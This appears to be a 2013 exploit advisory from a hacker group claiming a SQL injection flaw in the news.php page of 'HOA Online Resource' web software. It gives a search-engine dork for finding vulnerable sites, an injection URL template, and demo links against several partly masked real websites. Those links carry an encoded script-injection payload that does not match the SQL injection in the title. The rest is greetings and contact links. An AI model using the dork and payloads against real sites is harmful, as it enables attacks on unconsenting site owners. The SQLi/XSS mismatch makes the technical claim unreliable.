# Title : HOA Online Resource <= Remote (news.php) SQLi Vulnerability # Date: 2013-03-15 # Software Link: http://www.hoaonlineresource.com/ # Credit: This Bug was founded by Asesino04 "The Black Devils" # Tested on: Windows XP SP2 # Category: [webapps] # Dork : "Design by HOA Online Resource " inurl:"news.php?id=" # Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337 # Please Like The New Fb page : https://fb.com/Th3.Black.D3Vils ----------- http://127.0.0.1/path/News.php?ID=[ SQLi ] Error Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /homepages/1/d281725239/htdocs/foxhollowhoa/news.php on line 22 # Demo : http://www.foxXXowhoa.org/news.php?id=%27%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E%27 http://www.naXXpecialolympics.org/news.php?id=%27%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E%27 http://conceXXtshoa.com/news.php?id=%27%22%3E%3Cscript%3Ealert%281337%29;%3C/script%3E%27 ----------- Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | &#200;lite Tr&#216;jan | sH3LL05Dz | Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne | Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES | All Dz hackerz ----------- Contact: # Fane Page : www.facebook.com/Th3.Black.D3Vils # Youtube : www.youtube.com/user/Th3BlackDevils # Facebook : www.facebook.com/DevilsDz # Email : mr.k4rizma@gmail.com